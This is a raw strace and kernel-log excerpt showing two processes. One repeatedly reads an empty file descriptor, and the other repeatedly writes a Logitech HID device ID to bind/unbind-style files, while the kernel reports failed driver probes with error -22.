[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[ 75.665103][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.685997][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.697268][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.709711][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.723778][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.747104][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.769540][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.784566][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.797734][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.810533][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.832476][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.855622][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.868361][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 75.891761][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.902839][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.926427][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.949913][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.963747][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.976187][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[ 75.999051][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.010234][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.024371][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.036687][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.069713][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.092530][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.097092][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.101260][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.113520][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.148035][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.170195][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.193182][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.205325][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.219035][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.230883][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
